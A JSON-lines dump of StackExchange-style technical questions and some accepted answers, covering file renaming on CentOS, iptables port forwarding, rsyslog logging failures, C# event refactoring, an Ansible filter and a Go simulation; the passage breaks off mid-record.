{  "id": "_unix.46487"  , "question": "Possible Duplicate:How to clean up file extensions? I'm using CentOS. There are >10M images in one of my folders, which are furthur grouped into subdirectories.The issue is that some of my images are named as abc.jpg and others are named as xyz.JPG. So, when i try to access xyz.jpg, it says File not found as the extension is case-sensitive.Is there any way to rename all JPG to jpg, or a httpd config which works around this issue."  , "title": "File extension case sensitivity on CentOS"  , "tags": "centos;rename;filenames"  , "accepted_answer": "Try this (this will rename all .JPG files to .jpg recursively, in all the subdirectories of the directory where you run this):find . -name '*.JPG' -exec sh -c 'mv $0 ${0%.JPG}.jpg' {} \\;The find searches for all files named *.JPG in the current directory and its subdirectories, passes the list to the mv command which renames them"  } 
{  "id": "_codereview.93228"  , "question": "I am making a 2D Java game at school, and at the movement I use a switch. The code works, however, my teacher won't sign my code until I have removed code duplication.Short info: My Keyactionlistener sends a String of direction that is used in the switch to move. Inside that very same switch I also check the object in the next field to see if it can be picked up or can move through. However, the code is really long this way and I need to shorten it down somehow.public void checkAndMove(String direction) {        switch (direction) {            case up:                if (!field.checkIfBlocked(getfieldX(), getfieldY() - 1)) {                    if (field.checkIfItem(getfieldX(), getfieldY() - 1).equals(friend)) {                        showEndMessage = true;                    }                    if (field.checkIfItem(getfieldX(), getfieldY() - 1).equals(bazooka)) {                        plusAmmo();                        levelmaker.removeBazooka();                    }                    if (field.checkIfItem(getfieldX(), getfieldY() - 1).equals(helper)) {                        showShortestRoute();                    }                    move(0, -1);                    if(showEndMessage == true){                        endMessage();                    }                    levelmaker.scorePlusPlus();                    changeImage(imgUp);                    break;                } else {                    break;                }            case down:                if (!field.checkIfBlocked(getfieldX(), getfieldY() + 1)) {                    if (veld.checkIfItem(getfieldX(), getfieldY() + 1).equals(friend)) {                        endMessage();                    }                    if (field.checkIfItem(getfieldX(), getfieldY() + 1).equals(bazooka)) {                        plusAmmo();                        LevelMaker.removeBazooka();                    }                    if (field.checkIfItem(getfieldX(), getfieldY() + 1).equals(helper)) {                        showShortestRoute();                    }                    move(0, 1);                    levelmaker.scorePlusPlus();                    changeImage(imgDown);                    break;                } else {                    break;                }            case left:                if (!field.checkIfBlocked(getfieldX() - 1, getfieldY())) {                    if (field.checkIfItem(getfieldX() - 1, getfieldY()).equals(friend)) {                        endMessage();                    }                    if (field.checkIfItem(getfieldX() - 1, getfieldY()).equals(bazooka)) {                        plusAmmo();                        LevelMaker.removeBazooka();                    }                    if (field.checkIfItem(getfieldX() - 1, getfieldY()).equals(helper)) {                        showShortestRoute();                    }                    move(-1, 0);                    levelmaker.scorePlusPlus();                    changeImage(imgLeft);                    break;                } else {                    break;                }            case right:                if (!field.checkIfBlocked(getfieldX() + 1, getfieldY())) {                    if (field.checkIfItem(getfieldX() + 1, getfieldY()).equals(friend)) {                        endMessage();                    }                    if (veld.checkIfItem(getfieldX() + 1, getfieldY()).equals(bazooka)) {                        plusAmmo();                        LevelMaker.removeBazooka();                    }                    if (field.checkIfItem(getfieldX() + 1, getfieldY()).equals(helper)) {                        showShortestRoute();                    }                    move(1, 0);                    levelmaker.scorePlusPlus();                    changeImage(imgRight);                    break;                } else {                    break;                }        }"  , "title": "Checking directional moves for a game"  , "tags": "java"  } 
{  "id": "_webmaster.11729"  , "question": "I was toying with the idea of switching to html5. It seems there are 2 major scripts for dealing with supporting html5 on older browsers.Modernizr and Html5ShivI was wondering if they do the same thing. Which one to choose and why?Any ideas?"  , "title": "What's the difference between Modernizr and Html5Shiv?"  , "tags": "html5"  , "accepted_answer": "Modernizr is used to check the availability of HTML5 features in different rendering engines. It includes a script like Html5Shiv, which (only) enables HTML5 tags on Microsoft Internet Explorer (prior to version 9, which knew HTML5). See also How to get HTML5 working in IE and Firefox 2.If you just want to enable HTML5 for IE < 9, then Html5Shiv would be sufficient. I'm using the Html5Shiv version by Remy Sharp within a MS conditional comment:<!--[if lte IE 8]>    <script src=templates/js/html5.js></script><![endif]-->If you also want to check (via CSS or JS), if the clients browser is capable of e.g. HTML5-form-elements (like Operas date input), CSS3 columns or gradients, then use Modernizr."  } 
{  "id": "_cs.79824"  , "question": "What is the difference between constant folding and constant propogation? They both seem to do the same thing, instead of saving constants into stack or evaluating a full arithmetic expression, they simply replace it with the result which can be obtained at compile time. What is the difference between two?"  , "title": "Constant folding vs. Constant propogation"  , "tags": "compilers;program optimization"  } 
{  "id": "_softwareengineering.318261"  , "question": "My application is growing in complexity.Currently, I have a collection of classes that make up a Backend, this contains a DataInterface that talks to a database and returns POCO classes, a ModelProvider that wraps them up in models, and a ViewModelProvider that creates views, all dependent on each other.These instances are created on application start-up, and then wrapped up in a single Backend class. There's only one instance of this for the application. I'm finding many, many classes need to carry around this Backend instance to function.I also have a class AppController which controls the high level navigation, and things like showing dialogues.As a result, these two classes are passed around in constructors for nearly every ViewModel that's going to be doing anything complected.This just doesn't seem sensible for me, but it must be a very common problem having a couple of single-instance classes that need to be accessed all over the application.I was thinking one solution would be to make a single, static, class (say the already existing backend class) that could keep track of this, so all I need to do is:StaticBackend.ViewModelProvider.GetSomeViewModelsForMe();Is this good practice, or is there a more established way of doing it?Dependency injection:I'm trying to get my head around dependency injection. It looks like I'm not far off if I start creating interfaces for the ModelProvider, ViewModelProvider etc.This seems like I would be in a similar place, except things might be formally more sensible, I'd still have to 'inject' IModelProvider, and IViewModelProvider classes all the way through from constructor to constructor.So this is how things are at like at the moment (but encapsulating some of the back-end into interfaces):interface INavagationManager{    void NavagateTo(Page page);}interface IViewModelProvider{    void CreateSomeViewModelsToDisplay();}class HomePage : Page{    INavagationManager NavagationManager;    IViewModelProvider ViewModelProvider;    //this contains no dependencies on the IViewModelProvider, but it does with INavagationManager    public HomePage(INavagationManager navagationManager, IViewModelProvider viewModelProvider) {        this.NavagationManager = navagationManager;        //this is injected but it's not really a dependency of HomePage, as it never wants to get ViewModels, but the pages it creates do        this.ViewModelProvider = viewModelProvider;    }    public void UserWantsToNavagateSomewhere()    {        //all ViewModelProvider exists for is to be passed on down the 'chain'        NavagationManager.NavagateTo(new SubPage(ViewModelProvider));    }}class SubPage : Page{    IViewModelProvider ViewModelProvider;    List<MyViewModel> MyViewModels;    public SubPage(IViewModelProvider viewModelProvider)    {        ViewModelProvider = viewModelProvider;        //actually use this dependency for something        MyViewModels = ViewModelProvider.CreateSomeViewModelsToDisplay();    }}Using interfaces makes it easier to do UnitTesting in future, because I can feed it mock INavagationManager etc to test behavior. But I'm still in much the same position I was in before, I'm still a little confused at how IoC containers fit.It seems, I'd create a Container, which deals with injecting dependencies like the IViewModelProvider and INavagationManager in the above example, and I'd instead pass the Container between all the objects? Like this:interface INavagationManager{    void NavagateTo(Page page);}interface IViewModelProvider{    void CreateSomeViewModelsToDisplay();}class HomePage : Page{    Container Container;    INavagationManager NavagationManager;    //this contains no IViewModelProvider, but in instance of Container    public HomePage(Container container, IViewModelProvider viewModelProvider) {        this.NavagationManager = navagationManager;        this.Container= container;    }    public void UserWantsToNavagateSomewhere()    {        //all ViewModelProvider exists for is to be passed on down the 'chain'        NavagationManager.NavagateTo(Container.GetInstance<SubPage>());    }}class SubPage : Page{    IViewModelProvider ViewModelProvider;    List<MyViewModel> MyViewModels;    public SubPage(IViewModelProvider viewModelProvider)    {        ViewModelProvider = viewModelProvider;        //actually use this dependency for something        MyViewModels = ViewModelProvider.CreateSomeViewModelsToDisplay();    }}"  , "title": "Better way of providing access to a single backend class to the whole application"  , "tags": "design"  , "accepted_answer": "That singleton will be a headache to manage, particularly with respect to testing.What you really want to do is inject this dependency into your components (as noted above - this is called dependency injection or inversion-of-control, aka IoC). You can manage which components receive it and substitute it in your testing environment. If you don't do this, then your components will instantiate the real one themselves, and you may not want that during a testing cycle (much better in many cases to provide a mock which contains sample data etc.)You've noted that you will have to inject this in lots of places. That may well be the case, if it's a key dependency for your components. It doesn't necessarily indicate a problem in itself. You may be able to make life easier for yourself by investigating some IoC containers e.g. Unity"  } 
{  "id": "_datascience.13694"  , "question": "I'm doing my master thesis on Big Data Analytics. I'm trying to develop a algorithm to identify associations between some products in a supermakert. Imagine that I've this dataset:Purchase_ID Product_ID  Purchase_Value    1       2           4.5    1       3           1.2     2       3           1.4     2       1           3.5    2       2           7.3    3       2           0.5    3       3           1.0What I want to conclude is that:Every people that by Product_ID 2 also buy 3Anyone knows If exists any code algorithm available to use in Spark Mllib? I already search on internet but I didn't found anything...Anyone can help me?Many thanks!"  , "title": "Spark algorithm to make a link analysis"  , "tags": "apache spark;apache hadoop;association rules"  } 
{  "id": "_unix.217686"  , "question": "I am trying to find some hex diftool which allows me to compare to documents in the view but also the internal differences like in bless so two bless windows side-by-side but with diff capability between the windows, at least for selection. I find the bless - A full featured hexadecimal editor could be the best choice here for the integration. Is there any difftool for hex-ascii view in any Linux distro?"  , "title": "blessdiff for the full featured hexadecimal editor?"  , "tags": "diff;ascii;hex"  } 
{  "id": "_softwareengineering.216810"  , "question": "Conventionally, which of the above documents is deemed to hold the most weight when it comes to system acceptance?I recently had a conversation along these lines:It was argued that the initial requirements / tender documentation should be used to determine system acceptance. It was said that the solution design only serves to describe the way in which the system will solve the problem, not the problem it will solve. Furthermore, it was argued that if requirements are missed during solution design, the requirements should be referenced during system acceptance and that if any requirements were missed then the original tender should be referenced.Conversely, I suggested that - while requirements may be based on the original tender - they supersede it once agreed with the stakeholders. Furthermore, during solution design, analysis is performed to address and refine these initial requirements, translating them into a system capable of meeting the actual requirements. Once signed off by the relevant users, this solution design should absolutely represent the requirements (by virtue of the fact that it's designed upon them) but actually supersedes them as the basis for system acceptance.Is one of the above arguments more valid than the other?EDIT: Apologies for the ambiguous terms. In this situation, tender is the document the customer took to market when shopping for a provider - it includes details of all the high-level features they're looking for. Solution design is not a technical document, it's the functional specification."  , "title": "Tender vs. Requirements vs. Solution Design"  , "tags": "documentation;requirements;acceptance testing;systems analysis"  , "accepted_answer": "Passing acceptance testing is an indication that the system meets the users' requirements acceptably.  As such, the requirements document is generally considered the source of truth for acceptance criteria.There will almost always be further elaboration of requirements during design.  If these are truly an expansion of scope, the requirements document should be updated to reflect this.  Depending on how formal your process is, this may involve change requests, blah blah blah."  } 
{  "id": "_unix.101969"  , "question": "I want to forward a local port to a remote port (8041) to a port (8042) on a remote machine (10.0.0.42). I can do this viassh -L 10.0.0.41:8041:10.0.0.42:8042 user@localhostwhere 10.0.0.41 is bound to eth0.Now I want to do this without all the userland and encryption overhead.My guess would beiptables -t nat -A PREROUTING -i eth0 -p tcp -d 10.0.0.41 --dport 8041 -j DNAT --to 10.0.0.42:8042and enable ip-forward - but it does not work."  , "title": "Port forwarding using iptables on Linux"  , "tags": "networking;iptables"  } 
{  "id": "_computergraphics.1794"  , "question": "I'm new to computer graphics. These days I've been trying to understand how ray tracing using an acceleration data structure works. I came across the term early ray termination several times, I looked it over the internet several times too, but I haven't been able to find a satisfactory explanation of it.What does it mean to terminate a ray early, and why do we have to do it?Besides, I noticed that the term front-to-back traversal is mentioned almost every time there's a mention of early ray termination.Concretely how does front-to-back traversal work (in the case of a kd-tree for example) ?"  , "title": "The meaning of early ray termination and front-to-back traversal in ray tracing"  , "tags": "raytracing;c++;optimisation;data structure"  } 
{  "id": "_unix.194965"  , "question": "After configuring hibernation to swapfile with this instruction https://wiki.debian.org/Hibernation/Hibernate_Without_Swap_Partitioncommands s2disk & pm-hibernate are work fine. However hibernation doesn't work with XFCE's button Hibernation from logout menu with error: [ 2922.693779] PM: Cannot find swap device, try swapon -a.  [ 2922.694793] PM: Cannot get swap writer.  Where are to set proper commands for hibernation in XFCE?"  , "title": "Connect XFCE's hibernation option with proper command"  , "tags": "debian;xfce;hibernate"  } 
{  "id": "_webmaster.5192"  , "question": "What are the advantages of web server log file analysis over web services like google analytics?What are the advantages of google analytics like tools over web server log file analysis?"  , "title": "What are the pros & cons of web server log analysis over web based analytics like google analytics"  , "tags": "analytics"  } 
{  "id": "_unix.245788"  , "question": "Would it be possible to show only the summary section of htop output?desired look:I have looked into the manpages but couldn't find any options to do so.The closest thing i have found is this: http://www.softprayog.in/tutorials/htop-command-in-linux, but hat would make changes permanent, which I don't want."  , "title": "Show only graph in htop output"  , "tags": "output;htop"  } 
{  "id": "_unix.373663"  , "question": "I have android6.0.1. I want to enable wps after tethering.What are the importance things i want carry.?Can anyone give some suggestion.?If you have any reference link also welcome.Thanks,VinothS, "  , "title": "how to configure android.config for enable hostapd and wps?"  , "tags": "linux;command line;wifi;android;wifi hotspot"  } 
{  "id": "_softwareengineering.140536"  , "question": "I've been running StyleCop over my code and one of the recommendations SA1122 is to use string.Empty rather than  when assigning an empty string to a value.My question is why is this considered best practice.  Or, is this considered best practice?  I assume there is no compiler difference between the two statements so I can only think that it's a readability thing?UPDATE:Thanks for the answers but it's been kindly pointed out this question has been asked many times already on SO, which in hind-sight I should have considered and searched first before asking here.  Some of these especially forward links makes for interesting reading.SO question and answerJon Skeet answer to question"  , "title": "Why use string.Empty over  when assigning to a string object"  , "tags": "c#"  , "accepted_answer": "One valid reason is that it makes it clear this is not a typo or placeholder, that you really meant to use the empty string here.  I don't know if it's considered best practice."  } 
{  "id": "_webmaster.20312"  , "question": "I started using a VPS with HostGator not long ago,they have 9 levels of VPS and I started out with level 3.I'm testing a page on the website and it doesn't take too long to load,something like 2 second in my browser.But I feel that the webpage is very small, so it should load faster.So I tried downloading a 5 MB file from my VPS to my PC,I also tested the file on HostTracker.com, which let's you test download speedsfor different places around the globe.The average speed was 88 KB/Sec (both my PC and HostTracker)According to the HostGator FAQ:We provide a Gigabit uplink with a guaranteed 20mbit connection.We traffic shape each container to 20mbit. We do not foresee a  situation when we would not meet the 20mbit guarantee without the  stability of the entire server being affected.If the server does have an outage, not including regular maintenance,  we will offer a prorated credit for the amount of downtime.From my calculation 20Mbit means 2.5 MB (divided by 8),if it's supposed to download at 2.5MB/s than it means there's a huge difference here?The questions are:Is my calculation correct, is the file really supposed to download at 2.5 MB/s?I realize not all PCs have a 2.5MB/s connection, but today most do, and I know I do.Is this some kind of error? should I contact the hosting company?When they write 20mbit connection it means 20mbit/sec right? can they mean something else?Thank you a lot in advance!fiftyeight"  , "title": "Question about web hosting speed"  , "tags": "web hosting;page speed;performance"  , "accepted_answer": "Although I'm not an expert about networking hardware I think what Hostgator is referring to is a 20mbps connection per server which is shared across the hundreds/thousands of customer websites provided you're on a shared plan.With a VPS however I think the 20mbps is being split across the customers on your server (typically a VPS only means guaranteed processing power & RAM) but if you were on a high end host, you probably could get a dedicated bandwidth pipe (similar to a dedicated plan) however that would be a huge premium over a traditional VPS.Although they say each container has a 20mbps adapter, that is likely a peak figure which they'd only max out for maybe a minute or two before bringing your site offline. In the fine print I'm sure Hostgator has a less glamorous figure which is for actual usage. Typically hosts will publicize the peak capacity just to look better than others.I'm actually a HostGator customer myself so I know the issue, and I think also your ISP might be severely crippling your upload speeds, which is common to keep customers from running servers and also to prevent P2P piracy.  The issue probably could be resolved by upgrading to a Small Biz ISP plan, but going back to the other issue, it probably can't hurt to ask HostGator if they can improve your pipe "  } 
{  "id": "_unix.84747"  , "question": "I have a Broadcom wireless chip which I've managed to wrestle into working with Debian GNU/Linux (I'm on Sid, if it matters). The interface is definitely there:612  ip link    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:002: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DEFAULT qlen 1000    link/ether 3c:07:54:06:e0:86 brd ff:ff:ff:ff:ff:ff3: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DORMANT qlen 1000    link/ether e4:ce:8f:40:ec:c4 brd ff:ff:ff:ff:ff:ffalex-debian  ~:(14h55m|git@master)613   I have GNOME, and hence NetworkManager, up and running. When I look at GNOME Control Center in the Network pane, the Wireless tab gives information but doesn't list any wireless networks. I've tried connecting to a hidden network, just in case, but this didn't work. I know my network isn't hidden.Edit: per this wiki page, I've added myself to the netdev group, and relogged into my session, with no result.How can I start diagnosing the source of this problem?"  , "title": "NetworkManager controls my wireless card, but it can't find any networks?"  , "tags": "networking;networkmanager"  , "accepted_answer": "The wireless network was using WEP, which as stated by the wiki page in the question, is unsupported. I assumed that this meant will work but have weird problems, but in fact, upgrading the firmware, then using the new options to switch to WPA2 solved my problem."  } 
{  "id": "_codereview.8504"  , "question": "I need some second or third eyes to look over this, since right now, the necessary actions to make this work sound just bad and I suppose I am missing something due to a lack of C# experience.I am currently working on a winforms c# application. More specifically, I am reworking a highly convoluted control flow between a custom winforms widget and the corresponding controller.To nail down some terms, the widget is called a DrawingPanel. On the drawing panel, the user can place certain components, which can be considered orange squares for now. He can select single components by clicking on them with the left button, he can select multiple components by dragging a box around them. Once he has components selected, he can right click and select operations like cut, paste, copy and so on with the obvious semantics. For usability reasons, he can also use these operations on a single component without selecting it.In the old state, the control flow between the DrawingPanel and the so-called EventManager mostly looks like two angry cats wrestling in mud, as it goes back and forth about 4 - 6 times in order to deduce the set of selected components. Somewhere in there, they are highlighted, but after an hour, I gave up deducing that for now, especially because there are about 2 dead highlighting functions in there. Since I have to add quite a bit of funcionality here, I guess it is up to me to redo this.In order to redo this, I figured a good way to straighten this out would be the following:I add one event per user command to the DrawingPanel. The Controller of the DrawingPanel subscribes to these events and modifies the model accordingly in the event handler. For example, if a set of components is selected and the user clicks on Copy in the context menu, a CopyRequest-Event is raised which has this set of arguments as an argument. If a user clicks on Paste in the component menu, a PasteRequest-Event is raised, which is parametrized by the position of the paste request.This should encapsulate the user interface, as the interface is reduced to a black box which is parametrized by the data model and raises events from the user. The EventManager could handle all user interfaces, which provide the appropiate events. Furthermore, the control flow would be greatly simplified, as it would become unidirectional: UI goes to Controller goes to Model.Now, onto my problem. I have some very heavy code duplication in my event handlers in the DrawingPanel. A ton of event handlers subscribe to the Click-Event of a context menu, wrap the currently selected components into an ComponentSetArgument-object and fire the request-event with this new argument (if its not null). I am failing to remove this duplication.So far, I have tried to implement a higher order event handler generator (which would take a component set event and generate an evenhandler to subscribe at the click-event) and a mapping function on events (which would handle the click-event, apply a function and signal the outgoing event). Both of these fail because the multiway delegates are immutable. Thus, correct functionality would depend on creating the mapping or calling the wrap+call-higher order function after all subscribers are subscribed to the event. This yells recipe for disaster for me.So, is there anything I can do beyond either tolerating this massive duplication or rolling my own subscription management there? Or, do I take the totally wrong way there and there is a massively better architecture here?Edit 1:I have been asked for sample code. I will try my best to condense the code without removing essential information. I will use the current state of code, which has event-based, improved control flow, but a heavy smell due to duplication. These are the significant portions of the DrawingPanel. // IComponent is something of the model. This class moves them around as black boxespublic class ComponentSetEventArguments { public ISet<IComponent> Components; } public delegate void ComponentSetHandler(object sender, ComponentSetEventArguments args);public partial class DrawingPanel {    // These events signal an action of the user to the controller.    // In order to maintain brevity and demonstrate the problem, I     // include just these 2. There are about 6 ComponentSetHandlers    // and various other handlers, for example the mentioned PasteRequest    // with a PositionEventArgument.    // These events closely mimic the events found in actual WinForms-classes,    // like ToolStripMenuItem.Click or IPanel.MouseDown.     public event ComponentSetHandler CopyRequest;    public event ComponentSetHandler CutRequest;    // this contains components which were selected by the user. This happens    // by clicking on a single component or dragging a box around these    // components. This component and the following as well as selecing the    // correct context menu to display are done in mouseDown/mouseUp-Handlers,    // which are mostly big if-else-chains, so I won't show them.     ISet<IComponent>() selectedComponents;    // this contains the last component hovered, so you can use the context menu on    // a component by just right-clicking on top of it if no other components are    // selected    IComponent lastHoveredComponent;    public DrawingControl() {        ...        // Let us look at the names first. These are toolstrips in         // the componentSetContextMenu. This context menu pops up if the user        // right-clicks while more than one component is selected. I have to        // differntiate between 1 component selected and more than 1 component        // selected, because certain operations are only possible for multiple        // components. Second, the cutIn... means it is the toolstrip item        // with the text cut on it.         this.copyInComponentSetContextMenu.Click += copyComponentSetHandler;        this.cutInComponentSetContextMenu.Click += cutComponentSetHandler;        // note the difference, this is just in the component context menu,        // not the component set context menu.        this.cutInComponentContextMenu.Click += cutComponentHandler;        ...    }    // SMELL: Duplication (I.I)    // these two somethingComponentSetHandlers just wrap the selected components    // into event arguments and fire the corresponding user request.     void copyComponentSetHandler(object sender, EventArgs e) {        if (CopyRequest == null) return;        // im just omitting safety copies here.        ComponentSetArguments a = new ComponentSetArguments(selectedComponents);        CopyRequest(this, a);    }    // SMELL: Duplication (I.II)    void cutComponentSetHandler(object sender, EventArgs e) {        if (CutRequest == null) return;        ComponentSetArgument a = new ComponentSetARguments(selectedComponents);        CutRequest(this, a);    }    // This handler is mostly included as a demonstration why I think this is    // a decent approach. It encapsulates the difference of handling a single    // component in a convenient way in the UI itself. Further objects do not    // need to consider this minor detail.     void cutComponentHandler(object sender, EventArgs e) {        if (CopyRequest == null) return;        ISet<IComponent> components;        // if the user selected a single component, cut that component.        // if the user selected no components, cut the component he pointed at.        if (selectedComponents.Count == 0) {            components = new HashSet<IComponent>();            components.Add(lastHoveredComponent);        } else {            components = selectedComponents;        }        CutRequest(this, components);    }}I am pleasently surprised that it looks like the EventManager is not relevant for this problem. For completeness, the EventManager has a method that subscribes to the CutRequest event. When the CutRequest is fired, the EventManager copies the components from the event argument into a separate collection and removes the cut components from the model itself. Given all that, the smell I am annoyed by becomes apparent, I have marked them as smell I.I and I.II. These methods differ in exactly one thing. The event to signal, CutRequest and CopyRequest and this continues through a number of more methods. My current fixes generally fail because of the immutability of multiway delegates in C#. I cannot create a closure which contains for example CutRequest, because the subscription of new Handlers in CutRequest create a new Multiway delegate and replace the old value of CutRequest with this new delegate. If I need to elaborate more on this, let me know. "  , "title": "How to refactor these C#-events or fix this architecture?"  , "tags": "c#;user interface"  } 
{  "id": "_unix.227466"  , "question": "This is my script I am trying to rename the files in folder.rename1.sh----------#!/bin/bashcd /home/lanein1/WestonIN7pm/$(date +%Y-%m-%d) && rename s/WestonIN/WestonIN7pm/ *.jpgcd /home/lanein1/WestonOUT7pm/$(date +%Y-%m-%d) && rename s/WestonOUT/WestonOUT7pm/ *.jpgThis is the error I get :can't cd to /home/lanein1/scripts/rename1.shI don't understand why am  I getting this errorCRON ENTRY :29 12 * * * cd /home/lanein1/scripts/rename1.sh >> /home/lanein1/scripts/rename2.log 2>&1"  , "title": "error while changing directory using crontab"  , "tags": "bash;ubuntu;cron"  , "accepted_answer": "You're asking to change directory to the script:cd /home/lanein1/scripts/rename1.sh >> /home/lanein1/scripts/rename2.log 2>&1Perhaps you meant to run it:/home/lanein1/scripts/rename1.sh >> /home/lanein1/scripts/rename2.log 2>&1"  } 
{  "id": "_unix.382312"  , "question": "Was trying to enable log for chroot usersMay have done sth. wrong ,find ls -l in /var/log most log files size stay 0.Try to fix it followed this answer # systemctl restart systemd-journald.socket# systemctl start rsyslogdFailed to start rsyslogd.service: Unit rsyslogd.service not found.and this answer # logger -s hellowlogger: socket /dev/log: No such file or directory# sudo rsyslogd -N6 | head -10sudo: unable to resolve host iZ26v45oj3yjtmZrsyslogd: version 8.16.0, config validation run (level 6), master config /etc/rsyslog.confrsyslogd: command 'KLogPermitNonKernelFacility' is currently not permitted - did you already set it via a RainerScript command (v6+ config)? [v8.16.0 try http://www.rsyslog.com/e/2222 ]# ls /dev/logls: cannot access '/dev/log': No such file or directoryAnd checked syslogd is running#lsof -f -p 5379syslogd 5379 root   16w   REG              253,1        0    1844521 /var/log/news/news.errsyslogd 5379 root   17w   REG              253,1        0    1844536 /var/log/news/news.noticesyslogd 5379 root   18w   REG              253,1     3282    1580873 /var/log/debug.1 (deleted)syslogd 5379 root   19w   REG              253,1   110492    1580898 /var/log/messages.1 (deleted)syslogd 5379 root   20u  FIFO                0,6      0t0        423 /dev/xconsolesyslogd 5379 root   21u  unix 0xffff880138be9400      0t0     212524 /dev/log type=DGRAMThe /etc/rsyslog.conf file##################### MODULES #####################module(load=imuxsock) # provides support for local system loggingmodule(load=imklog)   # provides kernel logging support#module(load=immark)  # provides --MARK-- message capability# provides UDP syslog reception#module(load=imudp)#input(type=imudp port=514)# provides TCP syslog reception#module(load=imtcp)#input(type=imtcp port=514)# Enable non-kernel facility klog messages$KLogPermitNonKernelFacility on############################### GLOBAL DIRECTIVES ################################# Use traditional timestamp format.# To enable high precision timestamps, comment out the following line.#$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat# Filter duplicated messages$RepeatedMsgReduction on## Set the default permissions for all log files.#$FileOwner syslog$FileGroup adm$FileCreateMode 0640$DirCreateMode 0755$Umask 0022$PrivDropToUser syslog$PrivDropToGroup syslog## Where to place spool and state files#$WorkDirectory /var/spool/rsyslog## Include all config files in /etc/rsyslog.d/#$IncludeConfig /etc/rsyslog.d/*.confThe /etc/syslog.conf file#  /etc/syslog.conf     Configuration file for inetutils-syslogd.##                       For more information see syslog.conf(5) manpage.## First some standard logfiles.  Log by facility.#auth,authpriv.*                 /var/log/auth.log*.*;auth,authpriv.none          -/var/log/syslog#cron.*                         /var/log/cron.logdaemon.*                        -/var/log/daemon.logkern.*                          -/var/log/kern.loglpr.*                           -/var/log/lpr.logmail.*                          -/var/log/mail.loguser.*                          -/var/log/user.loguucp.*                          /var/log/uucp.log## Logging for the mail system.  Split it up so that# it is easy to write scripts to parse these files.#mail.info                       -/var/log/mail.infomail.warn                       -/var/log/mail.warnmail.err                        /var/log/mail.err# Logging for INN news system#news.crit                       /var/log/news/news.critnews.err                        /var/log/news/news.errnews.notice                     -/var/log/news/news.notice## Some `catch-all' logfiles.#*.=debug;\\        auth,authpriv.none;\\        news.none;mail.none     -/var/log/debug*.=info;*.=notice;*.=warn;\\        auth,authpriv.none;\\        cron,daemon.none;\\        mail,news.none          -/var/log/messages## Emergencies are sent to everybody logged in.#*.emerg                         *## I like to have messages displayed on the console, but only on a virtual# console I usually leave idle.##daemon,mail.*;\\#       news.=crit;news.=err;news.=notice;\\#       *.=debug;*.=info;\\#       *.=notice;*.=warn       /dev/tty8# The named pipe /dev/xconsole is for the `xconsole' utility.  To use it,# you must invoke `xconsole' with the `-file' option:##    $ xconsole -file /dev/xconsole [...]## NOTE: adjust the list below, or you'll go crazy if you have a reasonably#      busy site..#daemon.*;mail.*;\\        news.crit;news.err;news.notice;\\        *.=debug;*.=info;\\        *.=notice;*.=warn       |/dev/xconsoleProblems here are:  1.Failed to start rsyslogd.service2.ls: cannot access '/dev/log': No such file or directoryls -l /var/log most log file's size is 0"  , "title": "system log stop logging"  , "tags": "syslog;rsyslog"  } 
{  "id": "_unix.176451"  , "question": "When I type xrandr on my Lenovo Laptop with Ubuntu 14.04 I get the following output: xrandr: Failed to get size of gamma for output defaultScreen 0: minimum 1600 x 900, current 1600 x 900, maximum 1600 x 900default connected primary 1600x900+0+0 0mm x 0mm   1600x900       77.0* How to fix the error Failed to get size of gamma for output default? Is this an error in the first place? Should I worry about it at all?"  , "title": "How to fix error xrandr: Failed to get size of gamma for output default on Ubuntu 14.04?"  , "tags": "ubuntu"  } 
{  "id": "_codereview.154409"  , "question": "I have a need to search for ansible inventory in the current play by group type and grabbing an arbitrary number of them.I mostly want advice on if the _first_run variable is the best way to handle this inspection. I put it there so that a key error doesn't occur during the iterable creation.Also, I'm unfamiliar with iterator speed in the real world. Is there any speed gain by putting the generator outside of the main function?If you are unfamiliar with ansible's hostvars it is a dictionary of all the inventory. Each piece of inventory has the full list of groups so I can grab any arbitrary one.I realize with strict inputs I could make this much simpler. I just wanted review on a situation where I had to support either input.# This is what the top level input can be. In retrospect I could just# force users to send me the full hostvars dictionary and simplify this# and not accept arbitrary hosts (in this case 'a host'/'b host'.# {'hostvars': {'a host': 'groups': {<the keys in here are what I want>}#               'b host': 'groups': {<identical keys to the above>}# }def hosts_in_group(hostvars, active_hosts, group):        Return an iterable of all the hosts in a group.    Example use case:        Want a single host in group linux from the hosts in the current play ('ansible_play_hosts')    Example usage:        {{ hostvars|hosts_in_group(ansible_play_hosts, 'linux')|first }}    :param hostvars: The full hostvars dictionary    :param active_hosts: List of hosts to search. ex. ansible_play_hosts    :param group: Group name to search ex. 'linux'    :return: iterable of matching hosts        for hostname in hostvars.keys():        hostvar = hostvars[hostname]        break    else:        raise RuntimeError(No inventory found. Was hostvars the argument? Do you have inventory defined?)    for host in active_hosts:        if host in hostvar['groups'][group]:            yield hostdef _hosts_group_iterable(vars, active_hosts, group):    Iterable for hosts_in_group    for host in active_hosts:        if host in vars['groups'][group]:            yield hostclass FilterModule(object):    def filters(self):        return {            'hosts_in_group': hosts_in_group,        }"  , "title": "Python jinja2 filter to find hosts matching a group in ansible"  , "tags": "python;performance;algorithm"  } 
{  "id": "_codereview.153828"  , "question": "I am learning Go and want to do things the go-way, please have a look this code suggest how to make it better Go.This is a simulation to determine how items of a particular type of clothing you need. Rules are as follows:Simulation starts with all the clothes in the clean pileEvery morning you take one item from the clean pile and add it to the dirty pile (assuming an item of clothing becomes dirty the moment you put it on)On wash days - before you put on a new item - all the items in the dirty pile go into washing pileEvery morning all items in the washing pile are put into the clean pileAssuming there is a washing day every Monday, how many items of clothing do you need to never run out of clean ones?There are some extra rules (I have made them flags):Every second Thursday is also a washing dayThere is an extra step in the washing process - drying. After an item is washed, the next day it is put into the drying pile, and only after drying does it go into the clean pile.Code in the go-playground at: https://play.golang.org/p/3jawv55Y3ppackage mainimport (    flag    fmt    time)func even(number int) bool {    return number%2 == 0}func isWashingDay(today time.Time, thursday bool) bool {    if today.Format(Mon) == Mon {        fmt.Println(Monday!)        return true    } else if thursday && today.Format(Mon) == Thu {        _, week := today.ISOWeek()        if even(week) {            fmt.Println(Thursday!)            return true        }    }    return false}func main() {    numberOftshirtsPtr := flag.Int(shirts, 9, a int number of tshirts)    thursdayPtr := flag.Bool(thursday, true, a bool use Thursday)    dryingPtr := flag.Bool(drying, true, a bool use 